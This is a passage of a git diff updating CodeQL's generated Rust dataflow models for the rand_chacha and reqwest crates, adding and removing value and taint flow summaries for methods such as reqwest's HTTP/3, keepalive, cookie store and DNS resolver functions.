"dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::get_word_pos", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::set_word_pos", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["repo:https://github.com/rust-random/rand:rand_chacha", "::from", "Argument[0]", "ReturnValue.Field[crate::chacha::ChaCha8Rng::rng].Field[crate::block::BlockRng::core]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::get_word_pos", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::set_word_pos", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rust-random/rand:rand_chacha", "crate::guts::diagonalize", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-random/rand:rand_chacha", "crate::guts::round", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-random/rand:rand_chacha", "crate::guts::undiagonalize", "Argument[0]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/reqwest/repo-https-github.com-seanmonstar-reqwest-reqwest.model.yml b/rust/ql/lib/ext/generated/reqwest/repo-https-github.com-seanmonstar-reqwest-reqwest.model.yml index 7355d362c71..274a3fbb189 100644 --- a/rust/ql/lib/ext/generated/reqwest/repo-https-github.com-seanmonstar-reqwest-reqwest.model.yml +++ b/rust/ql/lib/ext/generated/reqwest/repo-https-github.com-seanmonstar-reqwest-reqwest.model.yml @@ -66,15 +66,19 @@ extensions: - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_max_frame_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_max_header_list_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_prior_knowledge", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_congestion_bbr", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_conn_receive_window", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_max_field_section_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_max_idle_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_prior_knowledge", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_send_grease", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_send_window", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_stream_receive_window", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::https_only", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::https_only]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::https_only", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::https_only]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::https_only", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::identity", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::interface", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::local_address", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::max_tls_version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::min_tls_version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -94,6 +98,8 @@ extensions: - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::resolve", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::resolve_to_addrs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_keepalive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_keepalive_interval", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_keepalive_retries", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_nodelay", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::nodelay]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_nodelay", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::nodelay]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_nodelay", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -122,16 +128,21 @@ extensions: - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::use_rustls_tls", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::user_agent", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::zstd", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::call", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::call", "Argument[self].Field[crate::async_impl::client::HyperService::cookie_store].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::call", "Argument[self].Field[crate::async_impl::client::HyperService::cookie_store]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::detect", "Argument[1]", "ReturnValue.Field[crate::async_impl::decoder::Decoder::inner].Field[crate::async_impl::decoder::Inner::PlainText(0)]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_stream", "Argument[self]", "ReturnValue.Field[crate::async_impl::decoder::IoStream(0)]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::async_impl::h3_client::H3Client::connector]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[2]", "ReturnValue.Field[crate::async_impl::h3_client::H3Client::cookie_store]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::async_impl::h3_client::connect::H3Connector::resolver]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[4]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::async_impl::h3_client::connect::H3Connector::client_config]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_connection", "Argument[2]", "ReturnValue.Field[crate::async_impl::h3_client::pool::PoolClient::inner]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::async_impl::h3_client::pool::PoolClient::inner]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::async_impl::h3_client::pool::PoolConnection::client]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::async_impl::h3_client::pool::PoolConnection::close_rx]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::pool", "Argument[self].Field[crate::async_impl::h3_client::pool::PoolConnection::client].Reference", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::pool", "Argument[self].Field[crate::async_impl::h3_client::pool::PoolConnection::client]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::boundary", "Argument[self].Field[crate::async_impl::multipart::Form::inner].Field[crate::async_impl::multipart::FormParts::boundary]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::boundary", "Argument[self].Field[crate::async_impl::multipart::FormParts::boundary]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::part", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::percent_encode_attr_chars", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -149,6 +160,8 @@ extensions: - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::mime", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::body", "Argument[self].Field[crate::async_impl::request::Request::body].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::body_mut", "Argument[self].Field[crate::async_impl::request::Request::body]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::extensions", "Argument[self].Field[crate::async_impl::request::Request::extensions]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::extensions_mut", "Argument[self].Field[crate::async_impl::request::Request::extensions]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::headers", "Argument[self].Field[crate::async_impl::request::Request::headers]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::headers_mut", "Argument[self].Field[crate::async_impl::request::Request::headers]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::method", "Argument[self].Field[crate::async_impl::request::Request::method]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -156,8 +169,6 @@ extensions: - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::async_impl::request::Request::method]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::async_impl::request::Request::url]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::pieces", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::timeout", "Argument[self].Field[crate::async_impl::request::Request::timeout].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::timeout_mut", "Argument[self].Field[crate::async_impl::request::Request::timeout]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::try_clone", "Argument[self].Field[crate::async_impl::request::Request::method]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::async_impl::request::Request::method]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::try_clone", "Argument[self].Field[crate::async_impl::request::Request::url]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::async_impl::request::Request::url]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::url", "Argument[self].Field[crate::async_impl::request::Request::url]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -184,14 +195,20 @@ extensions: - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::error_for_status", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::error_for_status_ref", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::json", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::async_impl::response::Response::url].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::text_with_charset", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::url", "Argument[self].Field[crate::async_impl::response::Response::url]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::background_threadpool::BackgroundProcessor::inner]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::layer", "Argument[0]", "ReturnValue.Field[crate::background_threadpool::BackgroundProcessor::inner]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::background_threadpool::BackgroundResponseFuture::rx]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from", "Argument[0]", "ReturnValue.Field[crate::blocking::body::Body::kind].Field[crate::blocking::body::Kind::Bytes(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_async", "Argument[self].Field[crate::blocking::body::Body::kind].Field[crate::blocking::body::Kind::Reader(1)]", "ReturnValue.Field[2]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_reader", "Argument[self].Field[crate::blocking::body::Body::kind].Field[crate::blocking::body::Kind::Reader(0)]", "ReturnValue.Field[crate::blocking::body::Reader::Reader(0)]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::len", "Argument[self].Field[crate::blocking::body::Body::kind].Field[crate::blocking::body::Kind::Reader(1)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::sized", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::read", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::delete", "Argument[self].Reference", "ReturnValue.Field[crate::blocking::request::RequestBuilder::client]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::get", "Argument[self].Reference", "ReturnValue.Field[crate::blocking::request::RequestBuilder::client]", "value", "dfc-generated"] @@ -232,6 +249,7 @@ extensions: - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_prior_knowledge", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::https_only", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::identity", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::interface", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::local_address", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::max_tls_version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::min_tls_version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -250,6 +268,8 @@ extensions: - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::resolve", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::resolve_to_addrs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_keepalive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_keepalive_interval", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_keepalive_retries", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_nodelay", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_built_in_native_certs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -263,6 +283,7 @@ extensions: - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::use_rustls_tls", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::user_agent", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::zstd", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::boundary", "Argument[self].Field[crate::blocking::multipart::Form::inner].Field[crate::async_impl::multipart::FormParts::boundary]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_reader", "Argument[self]", "ReturnValue.Field[crate::blocking::multipart::Reader::form]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::reader", "Argument[self]", "ReturnValue.Field[crate::blocking::multipart::Reader::form]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::metadata", "Argument[self].Field[crate::blocking::multipart::Part::meta]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -278,7 +299,6 @@ extensions: - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::method_mut", "Argument[self].Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::method]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::method]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::url]", "value", "dfc-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::timeout_mut", "Argument[self].Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::timeout]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::url", "Argument[self].Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::url]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::url_mut", "Argument[self].Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::url]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::version", "Argument[self].Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::version]", "ReturnValue", "value", "dfc-generated"] @@ -303,48 +323,73 @@ extensions: - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::try_clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::error_for_status_ref", "Argument[self].Field[crate::blocking::response::Response::inner]", "ReturnValue.Field[crate::result::Result::Ok(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::error_for_status_ref", "Argument[self].Field[crate::blocking::response::Response::inner]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::blocking::response::Response::inner]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::blocking::response::Response::timeout]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[2]", "ReturnValue.Field[crate::blocking::response::Response::_thread_handle]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::url", "Argument[self].Field[crate::blocking::response::Response::inner].Field[crate::async_impl::response::Response::url]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::fetch", "Argument[self].Field[0].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::fetch", "Argument[self].Field[crate::config::RequestConfig(0)].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::config::RequestConfig(0)]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::build", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_built_default_tls", "Argument[0]", "ReturnValue.Field[crate::connect::ConnectorBuilder::inner].Field[crate::connect::Inner::DefaultTls(0)]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_built_default_tls", "Argument[1]", "ReturnValue.Field[crate::connect::ConnectorBuilder::inner].Field[crate::connect::Inner::DefaultTls(1)]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_built_default_tls", "Argument[2]", "ReturnValue.Field[crate::connect::ConnectorBuilder::proxies]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_built_default_tls", "Argument[3]", "ReturnValue.Field[crate::connect::ConnectorBuilder::user_agent]", "value", "dfc-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_built_default_tls", "Argument[5]", "ReturnValue.Field[crate::connect::ConnectorBuilder::nodelay]", "value", "dfc-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_built_default_tls", "Argument[6]", "ReturnValue.Field[crate::connect::ConnectorBuilder::tls_info]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_built_default_tls", "Argument[6]", "ReturnValue.Field[crate::connect::ConnectorBuilder::nodelay]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_built_default_tls", "Argument[7]", "ReturnValue.Field[crate::connect::ConnectorBuilder::tls_info]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_default_tls", "Argument[2]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::connect::ConnectorBuilder::proxies]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_default_tls", "Argument[3]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::connect::ConnectorBuilder::user_agent]", "value", "dfc-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_default_tls", "Argument[5]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::connect::ConnectorBuilder::nodelay]", "value", "dfc-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_default_tls", "Argument[6]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::connect::ConnectorBuilder::tls_info]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_default_tls", "Argument[6]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::connect::ConnectorBuilder::nodelay]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_default_tls", "Argument[7]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::connect::ConnectorBuilder::tls_info]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_rustls_tls", "Argument[0]", "ReturnValue.Field[crate::connect::ConnectorBuilder::inner].Field[crate::connect::Inner::RustlsTls::http]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_rustls_tls", "Argument[2]", "ReturnValue.Field[crate::connect::ConnectorBuilder::proxies]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_rustls_tls", "Argument[3]", "ReturnValue.Field[crate::connect::ConnectorBuilder::user_agent]", "value", "dfc-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_rustls_tls", "Argument[5]", "ReturnValue.Field[crate::connect::ConnectorBuilder::nodelay]", "value", "dfc-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_rustls_tls", "Argument[6]", "ReturnValue.Field[crate::connect::ConnectorBuilder::tls_info]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_rustls_tls", "Argument[6]", "ReturnValue.Field[crate::connect::ConnectorBuilder::nodelay]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_rustls_tls", "Argument[7]", "ReturnValue.Field[crate::connect::ConnectorBuilder::tls_info]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::set_socks_resolver", "Argument[0]", "Argument[self].Field[crate::connect::ConnectorBuilder::resolver].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::set_timeout", "Argument[0]", "Argument[self].Field[crate::connect::ConnectorBuilder::timeout]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::set_verbose", "Argument[0]", "Argument[self].Field[crate::connect::ConnectorBuilder::verbose].Field[0]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::set_verbose", "Argument[0]", "Argument[self].Field[crate::connect::ConnectorBuilder::verbose].Field[crate::connect::verbose::Wrapper(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::wrap", "Argument[0]", "ReturnValue.Reference.Field[crate::connect::verbose::Verbose::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::wrap", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::resolve", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::resolve", "Argument[self].Field[0].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::resolve", "Argument[self].Field[crate::dns::gai::GaiResolver(0)].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::resolve", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::resolve", "Argument[self].Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::source", "Argument[self].Field[0]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::source", "Argument[self].Field[crate::dns::hickory::HickoryDnsSystemConfError(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - 